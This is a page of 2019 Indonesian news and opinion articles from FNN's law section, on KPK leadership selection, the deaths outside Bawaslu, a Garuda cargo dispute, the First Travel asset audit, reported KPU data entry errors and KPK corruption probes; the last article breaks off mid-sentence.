HUKUM

KPK Bukanlah Gudang Sampah Pensiunan Mencari Kerja

Jakarta, fnn - Lembaga anti rasuah Komisi Pemberantasan Koruspsi jangan sampai dijadikan gudang sampah untuk menampung pensiunan hakim, jaksa, anggota polisi dan tentara. KPK harus tetap menjadi benteng pertahanan dan harapan masyarakat untuk kegiatan pemberantasan korupsi di tanah air. Institusi KPK juga perlu dibebaskan dari para mantan pajabat yang akan mencari pekerjaan tambahan setelah pensiun dari dinas aktif “Calon pimpinan KPK harusl diisi oleh orang-orang yang teruji punya kemauan di atas rata-rata untuk pemberantasan korupsi. Orang-orang yang sudah selesai dengan urusan dunia dan pribadinya. Pimpinan KPK jangan sampai berasal dari para pensiunan penegak hukum atau yang akan memasuki masa pensiun beberapa bulan lagi, “ujar politisi Partai Nasdem Kisman Latumakulita di Jakarta Rabu (10/07). Ditambahkan Kisman, jika calon pimpinan KPK berasal dari para pensiunan atau mereka yang sebentar lagi memasuki masa pensiun, maka dampaknya bukan untuk memperkuat KPK. Namun yang akan terjadi justru sebaliknya memperlemah KPK. Apalagi mereka yang berlatar belakang penegak hukum. Kemungkinan ini yang harus dihindari sejak awal oleh Panitia Seleksi (Ponsel) calon pimpinan KPK sekarang. Presiden Joko Widodo punya komitmen serius dalam pemberanatasan korupsi. Sebaiknya calon pimpinan KPK dari unsur Polisi, Kejaksaan, TNI dan Hakim harus dikurangi. Bahkan bila perlu tidak diberikan peluang lolos sebagai calon pimpinan KPK. Sebab bisa menimbulkan citra buruk dalam penegakan hukum terhadap korupsi. “Salah satu daya dorong paling kuat yang menjadi dasar bagi lahirnya pembentukan kelembagaan KPK adalah buruknya penegakan hukum korupsi pada lembaga Kejaksaan dan Kepolisian. Untuk itu, KPK lahir dengan menawarkan formula dan trigger baru. Dan Alhamdulilaah, lahirnya bayi penegakan hukum atas korupsi bernama KPK ini mendapat dukungan penuh dari rakayt, “ujar Kisman. Sayangnya dalam perjalanan, seleksi calon pimpinan KPK menjadi terbuka. Siapa saja bisa ikut. Bahkan boleh merekrut unsur-unsur dari Kepolisian dan Kejaksaan. Tentu saja seleksi calon pimpinan KPK seperti ini sangat menyalahi, mengingkari dan mengkhianati tujuan awal pembentukan bayi yang bernama KPK. “Jika KPK diisi oleh unsur pimpinan dari Kejaksaan dan Kepolisian, maka sama saja dengan ingin memandulkan kelembagaan KPK dalam pemberantan korupsi. Sebab kirerja KPK nantinya tidak berbeda jauh dengan kinerja kelembagaan Kejaksaan dan Kepolisian. Kemungkinan ini yang harus dihindari oleh Ponsel calonm pimpinan KPK," ujar Kisman. Menurut Kisman, kalaupun perlu melibatkan calon pimpinan KPK dari unsur Kejaksaan, Kepolisian, TNI dan Hakim, maka sebaiknya bukan dari mereka-mereka yang sudah pensiunan atau akan pensiun beberapa bulan lagi dari dinas aktif. Sebab hanya akan menjadi beban bagi KPK ke dapan. Selain itu, hampir pasti bakal memandulkan kerja-kerja pemberantasan korupsi. Untuk itu, calon pimpinan KPK periode kelima nanti, sebaiknya diisi oleh orang-orang yang mempunyai integritas tinggi. Kemauan dan komitmen terhadap pemberantasan korupsi juga harus di atas rata-rata. Bukan mereka mau mancari dan melamar pekerjaan baru karena sudah pensiun atau akan pensiun beberapa bulan lagi. “Kalaupun terpaksa haru melibatkan calon pimpinan KPK dari unsur Kepolisian dan Kejaksaan, maka bukanlah dari pensiunan atau yang akan pensiun beberapa bulan lagi. Namun mereka yang punya dinas aktif di Kepolisian dan Kejaksaan masih panjang. Minimal baru akan pensiun tiga tahun lagi, “ujar Kisman yang juga wartawan senior tersebut. (lohy)

Pimpinan KPK, Pigai dan Dharma Tepat Mewakili Wilayah Tengah dan Timur

Jakarta, fnn - Panitia Seleksi (Pansel) calon pimipinan Komisi Pemberantasan Korupsi (KPK) telah menutup pendaftaran bagi calon-calon komisioner pimpinan KPK Kamis sore 5 Juli 2019, pukul 16.00 WIB. Tercatat sebanyak 348 orang yang mendaftarkan diri secara manual. Dari jumlah tersebut, belum termasuk yang mendaftarkan diri melalui email. Dari profil mereka yang mendaftar, tampak calon komisioner KPK berasal dari berbagai latar belakang profesi dan disiplin ilmu. Ada yang dari Perwira Tinggi Mabes Polri, pejabat eselon dua di Kejaksaan Agung, Perwira Tinggi TNI, dan hakim tinggi yang aktif. Selain itu, ada juga kalangan advokat, aktivis kemanusiaan, anggota Komisi Kepolisian Nasional (Kompolnas) dan akademisi. Dari internal KPK, ikut mendaftar komisioner KPK yang masih aktif, serta dari kalangan pegawai KPK. “Sejak KPK periode pertama sampai dengan periode keempat sekarang, umumnya didominasi oleh mereka yang berasal dari wilayah barat Indonesia, khusunya Pulau Jawa dan Pulau Sumatera. Untuk itu, pimpinan KPK ke depan, personilnya perlu dibuat perimbangan antara wilayah timur, tengah, dan barat Indonesia,“ himbau wartawan senior asal Indonesia Timur Kisman Latumakulita di Jakarta Senin (08/07). Ditambahkan Kisman, baik Pansel KPK maupun Komisi III DPR, sebaiknya mengakomodir dua sampai tiga orang dari wilayah timur dan tengah Indonesia untuk menjadi pimpinan KPK. Dengan demikian, sangat layak dan tepat bila Natalius Pigai dan Irjen Polisi Drs. Dharma Pongrekun diakomodir sebagai pimpinan KPK mewakili wilayah timur dan tengah Indonesia. Jangan hanya dimonopoli oleh wilayah barat, khususnya Pulau Jawa dan Sumatera Pimpinan KPK periode pertama seratus persen berasal dari pulau Jawa dan Sumatera. Sebagai Ketua Taufiequrachman Ruki, dengan Wakil Ketua Amin Sunaryadi, Erry Riyana Hardjapamekas, Tumpak Hatorangan Panggabean dan Sjahruddin Rasul. Sedangkan KPK periode kedua Antasari Azhar sebagai Ketua, dengan Wakil Ketua Bibit Samad Rianto, Mochammad Jasin, Chandra Hamzah, dan Haryono Umar. Pimpinan KPK periode kedua juga seratus persen berasal dari pulau Jawa dan Sumatera. Sedangkan pimpinan KPK periode ketiga adalah Abraham Samad sebagai Ketua KPK, dengan Wakil Ketua Bambang Widjojanto, Zulkarnain, Adanan Pandu Praja dan Muhammad Busyro Muqoddas. Selain Abraham Samad yang berasal dari Sulawesi Selatan, semua pimpinan KPK periode ketiga berasal dari pulau Jawa dan Sumatera. Sedangkan pimpinan KPK periode keempat sekarang, tampil sebagai Ketua adalah Agus Rahardjo, dengan Wakil Ketua Basaria Panjaitan, Alexander Marwata, Saud Situmorang dan La Ode Muhammad Syarif. Selain La Ode Muhammad Syarif yang berasal dari Sulawesi Tenggara, semua pimpinan KPK periode keempat ini berasal dari pulau Jawa dan Sumatera. Bahkan dua di antaranya berasal dari Sumatera Utara “Dilihat dari asal daerah para pendaftar, hampir 90% didominasi oleh mereka yang berasal dari wilayah Indonesia barat, terutama Pulau Jawa dan Sumatera. Hanya sekitar 10% yang berasal dari wilayah Indonesia Tengah dan Timur. Dengan demikian, diperlukan komitmen politik yang kuat dan sungguh-sungguh dari Ponsel KPK dan Komisi III DPR untuk meloloskan wakil dari wilayah timur dan tengah Indonesia, sepanjang memenuhi syarat dan kemampuan individu untuk menjadi pimpinan KPK, “ himbau Kisman yang juga politisi Partai Nasdem tersebut. Menurut Kisman, putra asal wilayah Timur Indonesia Natalius Pigai sangat mempunyai kompetensi dan skill untuk menjadi pimpinan KPK periode kelima. Pigai juga punya kemampuan dan keahlian untuk bekerja secara team work. Apalagi Pigai pernah belajar kerja-kerja investigasi di Federal Bureau of Investigation (FBI) Amerika selama satu tahun. Pigai pernah menjadi Komisioner Komnas HAM. Selama menjadi Komisioner Komnas HAM, tercatat sudah puluhan ribu kasus pelanggaran HAM yang dibongkar oleh Pigai. Putra asli Papua ini sudah terbiasa dan teruji membongkar kasus-kasus pelanggaran HAM, yang melibatkan institusi-institusi negara dan para konglomerat besar. Berbagai macam ancaman, tekanan dan hinaan sudah sering dialamatkan kepada Pigai. Selain Pigai, Irjen Polisi Dharma Pongrekun mempunyai kemampuan dan kualifikasi khusus di bidang penyelidikan dan penyidikan. Dharma yang sekarang Deputi Identifikasi dan Deteksi Badan Siber dan Sandi Negara (BSSN) ini sudah malang-melintang di dunia reserse polisi. Pernah menjabat Kasat II Harda Bangtah Ditreskrimum Polda Metro Jaya, Kasat II Ditnarkoba Polda Bengkulu, Wadir Raskrimum Polda Metro Jaya, Kasudit Indag Dirtpid Eksus Bareskrim Polri, Wadir Tipidum Bareskrim Polri, Direktur Narkoba Bareskrim Polri. Dharma yang asal Tanah Toraja ini, pernah ikut seleksi calon pimpinan KPK periode ketiga. Saat itu standar nilai yang diperoleh Dharma dari seluruh tahapan ujian seleksi mencukupi untuk masuk ke sepuluh besar sebelum dibawah ke DPR untuk fit and proper test. Sayangnya, Dharma diusulkan oleh institusinya sendiri agar tidak diloloskan ke DPR, hanya karena pangkatnya yang masih Kombes Polisi ketika itu. “Secara kompetensi individu, Dharma memiliki potensi untuk lolos menjadi komisioner KPK. Apalagi saat ini secara kepangkatan, Dharma telah mencapai bintang dua atau Irjen Polisi. Dengan demikian, Dharma telah memenuhi persyaratan kepangkatan untuk menjadi salah satu pimpinan KPK, “ kata Kisman. Kisman mengingatkan Ponsel KPK dan Komisi III DPR bahwa lolosnya Pigai dan Dharma menjadi taruhan ujian kebersamaan dan kesetaraan kita dalam mengelola bangsa dan negara. Jangan sampai KPK hanya didominasi oleh mereka yang berasal dari pulau Jawa dan Sumatera. Untuk itu, diperlukan komitmen dan keberpihakan dari elite politik nasional dalam mendistribusikan sumber daya manusia yang equal antara wilayah barat, tengah dan timur secara merata.

Tim Moechgiyarto Harus Sentuh Komandan Tertinggi Kewilayahan

By Luqman Ibrahim Soemay Jakarta, fnn - Kerja Tim Pencari Fakta (TPF) bentukan Kapolri Tito Karnavian untuk menyelidiki kematian sembilan orang di depan Bawaslu 21 dan 22 Mei 2019 harus menyetuh komandan tertinggi kewilayahan atau provinsi setempat. Tim yang dipimpin Irwasum Polri Komjen Moechgiyarto jangan hanya terbatas pada komandan di tingkat Kabupaten atau Kota, yang biasa disebut Kasatwil saja. Apalagi kalau dibatasi hanya palaku penembakan di lapangan Komandan yang bertanggung jawab harus ditarik dua tingkat di atas dari pelaku lapangan. Selain kasatwil sebagai pelaksana operasional lapangan, komandan tertinggi di kewilayahan atau provinsi juga harus bertanggung jawab atas kematian sembilan orang tersebut. Sebab perintah penembakan datang dari Kasatwil dan komandan tertinggi kewilayahan. Misalnya, kalau locus delicti di Jakarta, ya tentu Kapolda Metro Jaya Anggota Brimob Polri dari daerah yang diperbantukan ke Jakarta ketika itu, semuanya dibawah kendali dari Kapolda Mentro Jaya. Mereka di Bawah Kendali Operasi (BKO) atau di-BKO-kan ke Polda Metro Jaya. Ototmatios yang paling bertanggung jawab terhadap semua prilaku anggota Brimob Polri di lapangan adalah Kapolda Metro Jaya. Dengan demikian, pemeriksaaan yang dilakukan TPF pimipinan Moechgyarto mutlak harus sampai kepada Kapolda Metro Jaya. Posisinya sebagai penanggung jawab tertinggi keamanan di wilayah Jakarta. Jika terjadi kelasahan prosedur di lapangan, maka sanksi atau hukuman yang dijatuhkan jangan hanya kepada pelaku lapangan saja. Sanksi juga harus diberikan kepada Kasatwil, dalam hal ini Kapolres Jakarta Pusat. Karena locus delicti di jalan Thamrin dan sekitarnya, maka selain Kapolres Jakarta Pusat, sanksi juga harus diberikan kepada Kapolda Metro Jaya. Patut diduga Kapolda Metro Jaya telah lalai melaksanakan perintah Kapolri Jendral Tito Karnavian tentang penggunanaan peluru tajam. Pola pertanggung jawaban dua tingkat ke atas dari pelaku lapangan ini sudah menjadi standar baku di institusi Polri dan TNI. Tercatat sudah tiga Panglima Kodam (Pangdam) dan dua Kapolda yang dicopot dari jabatannya karena ikut bertanggung jawab secara jabatan atas kematian akibat penembakan oleh anggota TNI dan Polri di lapangan. Pertama, peristiwa Santa Cruz di Dilli Timur Timor--- kini Timur Leste pada 12 November 1991. Dalam peristiwa ini sejumlah orang meninggal dunia. Para petinggi militer, mulai dari Dandim Dilli, Danrem Timur Timor, Pangkolakoops Brigjen TNI Rudolf Warouw dan Pangdam Udayana MayjenTNI Sintong Panjaitan diadili oleh Dewan Kehormatan Militer (DKM). DKM ketika itu dipimpin oleh Komandan Seskoad Mayjen TNI Feisal Tanjung. Rekomendasi dari sidang DKM adalah mencopot semua komandan militer di lapangan, mulai dari Dandim Dilli sampai Pangdam Udaya Mayjen TNI Sintong Panjaitan. Berakhirlah kerier dan bintangnya Mayjen TNI Sintong Panjaitan di dunia militer. Kedua, setelah Sintong Panjaitan, pada tahun 1998 giliran Mayjen TNI Syafrie Syamsudin yang dicopot dari jabatannya sebagai Pangdam Jaya. Kematian empat mahasiswa Universitas Trisakti, almarhum Elang Lasmana dan kawan-kawan mangakibatkan Syafrie diadili Dewan Kehormatan Perwira (DKP). Hasil rekomendasi dari sidang DKP adalah mencopot Syarie Syamsudin dari jabatan Pangdam Jaya. Selain Syafrie Syamsudin, sidang DKP juga merekomendasikan pencopotan terhadap Mayjen Polisi Hamami Natta dari jabatannya sebagai Kapolda Metro Jaya. Di sinilah untuk pertama kali dalam sejarah, seorang Kapolda dicopot dari jabatannya karena penembakan kepada warganegara yang berakibat pada kematian. Bukan saja Hamami Natta yang pernah dicopot dari jabatan sebagai Kapolda. Irjen Polisi Nanan Sukarna---jabatan terakhir Wakapolri juga dicopot dari jabatan Kapolda Sumatera Utara. Nanan dicopot karena kematian Ketua DPRD Sumatera Utara Abdul Aziz Angkat akibat demonstrasi besar-besaran di depan Kantor DPRD Sumatera Utara. Selain Nanan, Mabes Polri ketika itu juga mencopot Kapoltabes Medan Kombes Aton Suhartono. Ketiga, peristiwa Santa Cruz Dilli dan Universitas Trisakti, peristiwa Lembaga Pamasyarakatan (Lapas) Cebongan Jogyakarta juga berbuntut panjang. Mayjen TNI Hardiono Saroso harus berbesar hati meninggalkan jabatan Pangdam Diponegoro. Kematian empat penghuni Lapas Cebongan berakibat Mayjen TNI Hardiono dicopot dari jabatannya seabagai Pangdam Diponegoro. Padahal, posisi Mayjen TNI Hardiono Saroso ketika itu tidak ada kaitan langsung dengan anggota TNI yang membunuh empat penghuni Lapas Cebongan. Keterkaitan Mayjen Hardiono Saroso hanya sebagai Komandan Garnisun Jawa Tengah dan Jogyakarta. Selain itu, Mayjen TNI Hardiono Saroso juga sebagai pembina seluruh anggota TNI AD, TNI AL dan TNI AU di wilayah Jawa Tengah dan Jogyakarta. Jika TPF tidak merekomendasikan sanksi atau hukuman kepada Kapolda Metro Jaya dan Kapolres Jakarta Pusat, maka patut diduga tim Moechgyarto hanya melakukan kerja-kerja kosmetik. Buah dari kerja-kerja kosmetik adalah semakin memperburuk wajah polisi di mata publik. Bahkan Moechgyarto yang sehari-hari adalah Irwasum Polri kehilangan momentum penting untuk mengembalikan kembali kepercayaan rakyat kepada polisi. Untuk itu, wahai para jendral polisi, teladanilahl, contoilah, jiwailah sikap kesatria dan sportifitas yang sudah diajarkan oleh almarhum Mayjen Polisi Hamami Natta, Irjen Polisi Nanan Sukarna serta Kombes Polisi Aton Suhartono. Jangan perlihatkan jiwa-jiwa yang kerdil, tidak profesional dan tidak bertanggung jawab. Sebab ujung-ujungnya hanya mengorbankan institusi kepolisian di mata rakyat. Jangan hanya karena ingin mengejar keuntungan untuk kepentinmgan pribadi dan kelompok, kelembagaan dan institusi polisi harus dikorbankan. (kilat).

Sebelum Dilantik, Jokowi Harus Temukan Pembunuh 9 Orang di Bawaslu

Jakarta, FNN - Sebelum dilantik sebagai Presiden Indonesia periode kedua 2019-2024, pada 20 Oktober 2019 mendatang, Prasiden Jokowi harus memastikan pelaku pembunuhan terhadap sembilan orang di depan Bawaslu 21 dan 22 Mei 2019. Siapa-siapa saja pelakunya harus dipastikan. Setelah itu pelakunya harus diproses secara hukum, termasuk kepada atasan dan komandan pelaku. “Sebagai Capres yang sudah ditetapkan oleh KPU sebagai presiden terpilih, Pak Jokowi perlu dibersihkan dari beban kematian sembilan orang anak bangsa di Bawaslu 21 dan 22 Mei 2019 kemarin,” ujar politisi Partai Nasdem Kisman Latumakuklita kepada wartawan di Jakarta Rabu (03/06). Dijelaskan Kisman, hampir dipastikan peristiwa kematian sembilan orang di depan Bawaslu akhir Mmei kemarin sudah diketahui jaringan intelejen dunia melalui satelit dan google. Para pegiat Hak Asasi Manusia (HAM) internasional juga mengetaui kenyataan ini. Peristiwa ini bisa menjadi beban pemerintah Jokowi di priode kedua nanti. “Menemukan pelaku pembunuhan sembilan orang di depan Bawaslu ini sangat penting dan strategis bagi Pak Jokowi. Supaya ke depan, tidak menjadi beban politik yang menyandra Pak Jokowi di mata masyarakat internasionbal, khususnya para pegiat HAM,” ujar Kisman mengingatkan Ditambahkan Kisman, komunitas internasional, khususnya pegiat HAM dan Lingkungan, biasanya suka mengaitkan, bahkan sampai menekan pemerintah atau lembaga keuangan internasional agar tidak memberikan pinjaman atau bantuan keuangan kepada pemerintah dari negara yang dinilai melanggar HAM dan merusak lingkungan. Kenyataan ini sudah dialami bebarapa perusahaan raksasa atau konglomerat Indonesia. Produk mereka seperti minyak sawit diboikot di pasar internasional. Mereka juga gagal mendapatkan pinjaman dari bank papan Amerika Serikat Citibank karena dianggap merusak lingkungan. Kasus boikot dari Amerika dan Uni Eropa terhadap minyak sawit Indonesia harus dijadikan pelajaran berharga. Penyebabnya Indonesia dituduh merusak lingkungan karekla membakar lahan hutan perkebunan sawit. ”Kematian sembilan orang di depan Bawaslu ini, jangan sampai dijadikan alasan Indonesia dutuduh pelanggar HAM seperti era di Orde Baru, ” kata Kisman. Semoga tidak ada lagi pemboikotan dari masyarakat internasional terhadap produk ekspor Indonesia hanya karena dituduh melanggar HAM. Apalagi pemerintah Jokowi pada 2018 kemarin mendapat repor merah dari Komisi Nasional Hak Asasi Manusia (KOMNAS) HAM Indonesia terkait buruknya penegakan Hak Asasi Manusisa di Ind0nbesuia. ”Untuk itu, sebaiknya sebelum dilantik pada 20 Oktober 2019 sebagai presiden Indonesia periode 2019-2024, Pak Jokowi harus memastikan dulu siapa-siapa saja pelaku pembuhanan sembilan orang di depan Bawaslu. Targetnya, agar peklakunya segera diproses secara hukum, termasuk kepada komandan dan atasan pelaku yang diduga memerintahkan, “ himbau Kisman. Al-Qur’an memerintahkan setiap muslim untuk menyelamatkan setiap nyawa manusia. Sebab menyelamatkan setiap nyawa manusia, sama artinya dengan menyelamatkan seluruh nayawa manusia. Sebaliknya, menghilangkan satu nyawa manusia, sama artinya dengan menghilangkan seluruh nyawa manusia. “Keanehan terkait dengan kematian sembilan orang di depan Bawaslu, karena Kapolri Tito Karnavian telah memerintahkan seluruh aparat keamanan untuk tidak menggunakan peluru tajam saat mengamankan demonstrasi di depan Bawaslu 21 dan 22 Mei 2019. Pertanyaan, apakah sembilan orang yang meninggal tersebut akibat terkena peluru tajam atau peluru karet dan peluru hampa ?“ tanya Kisman. Bila kematian ini akibat terkena peluru tajam kata Kisman, maka patut diduga ada institusi negara lain di luar kepolisian dan TNI yang ikut bermain di air keruh menunggangi peristriwa ini. Untuk itu, Pak Jokowi harus dan terlibat menyelesaikan masalah ini agar tidak menjadi beban pada priode kedua. “Konstitusi negara Pembukaan UUD 1945 memerintahkan negara melindungi seluruh tumpah darah Indonesia tanpa kecuali. Untuk itu, negara yang dewakili oleh pemerintah mutlak harus melakukan segala upaya untuk menemukan pelaku pembunuhan sembilan orang tersebut. Jika tidak, berpotensi Indonesia akan dikucilkan masyarakat internasional,“ kata Kisman. (sw)

Putus Kontrak Secara Sepihak, PT SJL Bakal Gugat Garuda Indonesia

JAKARTA, FNN - PT Sumber Jaya Limec Cargo (SJL) akan menggugat PT Garuda Indonesia (Persero) Tbk, cq Garuda Indonesia Cargo Center lantaran telah memutuskan kontrak kerjasama secara sepihak. Rencananya gugatan terhadap BUMN pernebangan itu akan didaftarkan ke Pengadilan Negeri (PN) Tangerang, Banten, pekan depan. Kuasa hukum PT SJL, Piter Siringoringo mengatakan, gugatan diajukan karena adanya keputusan pengelola kargo Garuda Indonesia yang melakukan pemutusan keagenan secara sepihak dengan SJL selaku mitra bisnisnya. Dia menilai penghentian kontrak itu janggal dan tidak lazim di mata hukum perjanjian. "Pemutusan kerjasama kontrak tidak lazim. Sesuai ketentuan perjanjian maka harusnya dibuat sama-sama tempat ada yang memberatkan pihak lain," "ujar Piter Siringoringo di Jakarta, Jumat (10/5/2019). Piter pun menilai, pemutusan pengelola kargo secara sepihak oleh Garuda telah cacat hukum. Karena jika mengacu hukum perjanjian maka harus ada hak dan kewajiban yang harus dipenuhi masing - masing pihak. Yakni ada kewajiban pemberi pekerjaan dan ada haknya si penerima pekerjaan. Adanya kesamaan dalam hak dan kewajiban maka ada perjanjian. Terkait berapa nilai kerugian dari gugatan perdata tersebut, Piter mengaku sedang menghitungnya. Namun yang jelas gugatan perdata diajukan karena memang ada kerugian berupa materi dan immateril yang secara fisik dan mental yang dialami PT SJL. Apalagi PT SJL juga menjalin relasi dengan berbagai pihak. Sehingga dengan adanya pemutusan sepihak tersebut merugikan PT SJL. "Nilai kerugian itu sedang kita hitung, nanti tunggu saja berapa nilai kerugiannya," jelasnya. Direktur Utama SJL Lim Bendy membenarkan adanya pemutusan secara sepihak dan tanpa alasan. Padahal, kontribusi SJL ke Kargo Garuda rata-rata 600 ribu ton atau senilai Rp69 miliar per tahun. Lim mengungkapkan, sebelum pemutusan sepihak, awalnya pihak direksi kargo Garuda menanyakan soal tarif kargo domestik yang dikelola SJL, dikatakan terlalu murah sehingga bisa mengisi kargo sebesar itu. Dia mencontohkan, misalnya SJL diberikan kuota kargo 100 ton per bulan, dengan tarif lebih murah dari tarif umum. Namun ketika kuota dipenuhi, direksi kargo Garuda, ungkap Lim, malah mencurigai SJL memberikan upeti kepada petugas-petugas Kargo Garuda sehingga SJL diberikan tarif lebih murah. Pemutusan keagenan sepihak oleh Kargo Garuda dilakukan melalui surat nomor GARUDA/JKTGCA/20049/19 pada 4 Februari 2019 yang ditandatangani oleh Pjs GM Cargo Sales Area Jakarta Raya Anandhito Prakoso. Dalam surat pemutusan keagenan itu disebutkan, merujuk pada syarat dan ketentuan keagenan kargo domestik dan internasional pasal 18 mengenai pencabutan status keagenan kargo. (rob)

BPK Diminta Audit Aset Milik First Travel yang Disita Penyidik

JAKARTA, FNN – Badan Pemeriksa Keuangan (BPK) diminta melakukan audit terhadap aset yang dimiliki oleh First Travel yang sita oleh pihak kepolisian dan kejaksaan. Permintaan ini menyusul adanya dugaan menguapnya aset milik biro perjalanan haji dan umroh ini sebesar Rp663 miliar. “Kami meminta BPK untuk melakukan audit investigasi terhadap pihak kepolisian dan kejaksaan terkait hilangnya aset First Travel sebesar Rp663 miliar,” tegas pengacara korban First Travel Riesqi Rahmadiansyah kepada wartawan usai menjalani sidang lanjutan gugatan perdata terhadap bos First Travel Andhika Surachman di Pengadilan Negeri Depok, Selasa (7/5/2019). Merujuk pada perhitungan arus dana masuk dan keluar pada rekening bos First Travel ini hingga Juli 2017, seharusnya menyisakan Rp663 miliar. Namun, dalam salinan berkas putusan PN Depok, sisa saldo rekening Andhika cuma menyisakan Rp229,692 miliar. Hal inilah yang membuat Riesqi merasa heran dengan menyusutnya nilai saldo rekening milik bos First Travel tersebut. Padahal, sejumlah aset berupa rumah, mobil, restoran, serta sejumlah perhiasan milik Andhika sudah disita sejak kasus ini ditangani oleh penyidik. Bahkan ia menduga ada sejumlah aset termasuk rumah milik Andhika yang terletak di Sentul, Jawa Barat sudah berpindah tangan. “Harga rumah itu berkisar Rp5 miliar sampai Rp7 miliar,” tandasnya. Riesqy menuturkan, bahwa tergugat yaitu Andhika menyampaikan langsung dari keberangkatan jemaah hanya memerlukan dua aset yang dikembalikan, yaitu PT Intercultur dan uang Rp8,9 miliar. Akan tetapi, keberadaan PT Intercultur sudah ada di pihak ketiga. “Yang dikhawatirkan adalah dengan berpindah tangan maka bukan untuk kepentingan Jemaah. Sedangkan uang Rp8,9 Miliar tidak jelas keberadaannya karena tidak ada di putusan MA terkait kasus pidana bos First Travel,” pungkasnya. Sementara pengacara Andhika, Muhammad Agung Wicaksana mengaku belum mengetahui berapa jumlah aset yang disita secara resmi oleh negara. Ia mengaku hanya mengetahui aset punya kliennya berdasarkan hasil putusan pidana PN Depok. “Kami baru masuk tiga minggu, jadi baru mempelajari putusan (pidana-red) dan gugatannya. Di luar ini kamu belum tahu,” kata Agung. Meski ia mengaku tidak tahu pasti berapa jumlah aset Andhika yang disita oleh negara, tapi berdasarkan hitungannya aset yang disita itu bernilai Rp10 miliar. Akibat penyitaan itu, Agung mengaku, saat ini Andhika tak lagi memiliki apa-apa. Bahkan, untuk membayar jasa pengacaranya pun terpaksa harus dilakukan dengan cuma-cuma (probono). Namun, guna menyakinkan para korban, Agung menyatakan jamaah akan segera diberangkatkan, jika negara mau mengembalikan aset kliennya yang disita. “Semoga asset dikembalikan untuk kepentingan jamaah, disini kita berjuang bersama,” tandas Agung. (rob)

BPN IT Volunteer Group to Visit Bawaslu, Report 13,000 Data Entry Inaccuracies on KPU's Website

JAKARTA, FNN — IT Volunteer Group on the National Committee to Elect Prabowo-Sandi (BPN) will submit a report including thousands of data entry inaccuracies on KPU's real count data entry system. “If God willing, we will bring a box filled with 2,500 pages of evidence that show data entry inaccuracies on KPU's website," BPN IT Volunteer Secretary Dian Islamiati Fatwa stated Thursday. Fatwa stated that volunteers, during a five-day verification period from April 27 to May 1, found 13,031 mistakes from data amassed from 225,818 polling stations, which equals to 5.7 percent of the total data inputted. The volunteer group found three types of mistakes. First, the final tally of casted votes exceeded the maximum number of voters subjected in each polling station, which hovers around 300 names. Second, the final tally of casted votes differ from the sum of valid and invalid votes, and the number of total ballot papers used. Third, the total valid votes differ from the sum of votes casted for both candidates. “Thousands of mistakes that we found show that KPU's data entry system is unreliable and misleading," Fatwa stated. "The maximum rate of acceptable mistakes done by the IT system should be 0.1 percent. Ironically, we found a total of 5-7 percent inaccurate data,” Fatwa added. Responding to the findings of BPN's IT volunteer group, Coordinator of the National Movement to Save Democracy (GNSD) DR M. Said Sidu urged Bawaslu to take action and stop KPU's data entry system altogether. "To refrain from creating wide-scale public concern and distrust, Bawaslu needs to immediately halt KPU's data entry system and ask an independent auditor to conduct a forensic audit,” Didu stated.

KPK Geledah Ruang Kerja Mendag Enggartiasto

Jakarta, FNN - KPK menggeledah ruang kerja Menteri Perdagangan (Mendag) Enggartiasto Lukita. Penggeledahan itu berkaitan dengan kasus suap yang menjerat anggota DPR Bowo Sidik Pangarso. "Sebagai bagian dari proses penyidikan perkara tindak pidana korupsi dugaan gratifikasi yang berhubungan dengan jabatan dengan tersangka BSP (Bowo Sidik Pangarso), KPK melakukan kegiatan penggeledahan di kantor Kementerian Perdagangan di ruang Menteri Perdagangan sejak pagi ini," kata Kabiro Humas KPK Febri Diansyah pada wartawan, Senin (29/4/2019). "Penggeledahan masih berlangsung di lokasi tersebut," imbuh Febri. Bowo menjadi tersangka di KPK karena diduga menerima suap dari Marketing Manager PT Humpuss Transportasi Kimia (HTK) Asty Winasti lewat seorang bernama Indung. KPK juga telah menetapkan Asty dan Indung menjadi tersangka. Asty diduga memberi Bowo duit Rp 1,5 miliar lewat 6 kali pemberian serta Rp 89,4 juta yang diberikan Asty kepada Bowo lewat Indung saat operasi tangkap tangan terjadi. Suap itu diduga agar Bowo membantu PT HTK dalam proses perjanjian dengan PT Pupuk Indonesia Logistik. Selain suap, KPK menduga Bowo menerima gratifikasi Rp 6,5 miliar dari pihak lain sehingga total penerimaan Bowo berjumlah Rp 8 miliar. Total Rp 8 miliar itu kemudian disita dalam 400 ribu amplop di dalam puluhan kardus. Menurut KPK, duit itu diduga hendak digunakan sebagai serangan fajar untuk Pemilu 2019. Nah, pihak lain yang memberikan gratifikasi kepada Bowo itu salah satunya disebut dari Direktur Utama PT PLN nonaktif Sofyan Basir, meski kemudian dibantah pengacara Sofyan. Selain itu, ada keterangan dari pengacara Bowo bahwa ada menteri pula yang memberikan uang ke Bowo. (detik)

Dirut Pertamina Jadi Saksi Suap Sofyan Basyir

Jakarta, FNN - KPK memanggil Direktur Utama Pertamina Nicke Widyawati terkait kasus dugaan suap proyek PLTU Riau-1. Dia dipanggil sebagai saksi untuk tersangka Dirut PLN nonaktif Sofyan Basyir. "Dipanggil sebagai saksi untuk SFB (Sofyan Basir)," kata Kabiro Humas KPK Febri Diansyah kepada wartawan, Senin (29/4/2019). Nicke dipanggil dalam kapasitasnya sebagai eks Direktur Pengadaan Strategis 1 PT PLN. Selain Nicke, KPK juga memanggil Direktur Perencanaan Korporat PLN Syofvi Felienty Roekman, Senior Vice President Legal Corporate PLN Dedeng Hidayat, dan Direktur Bisnis Regional Maluku dan Papua PT PLN, Ahmad Rofik.Nicke sebelumnya juga pernah diperiksa terkait kasus dugaan suap proyek PLTU Riau-1 pada Senin (17/9/2018). Saat itu, KPK mencecar Nicke soal pertemuannya dengan mantan Wakil Ketua Komisi VII DPR Eni Maulani Saragih, yang saat itu masih berstatus tersangka di kasus ini. "Ada informasi yang kami klarifikasi juga terkait dengan apakah pernah bertemu dengan tersangka EMS, kapan, di mana, dan apa pembicaraannya," kata Kabiro Humas KPK Febri Diansyah. Saat itu, Nicke mengaku diperiksa terkait tugas pokoknya selama menjabat Direktur Perencanaan PLN. Dia tak menjelaskan detail materi pemeriksaannya."Seputar tupoksi saya sebagai Direktur Perencanaan PT PLN," kata Nicke setelah menjalani pemeriksaan di gedung KPK, Jl Kuningan Persada, Jakarta Selatan. Sofyan ditetapkan KPK sebagai tersangka karena diduga membantu mantan anggota DPR Eni Saragih mendapatkan suap dari pengusaha Johanes Budisutrisno Kotjo. KPK menduga Sofyan dijanjikan jatah yang sama dengan Eni dan Idrus yang lebih dulu diproses dalam kasus ini.KPK menduga Sofyan berperan aktif memerintahkan jajarannya agar kesepakatan dengan Kotjo terkait 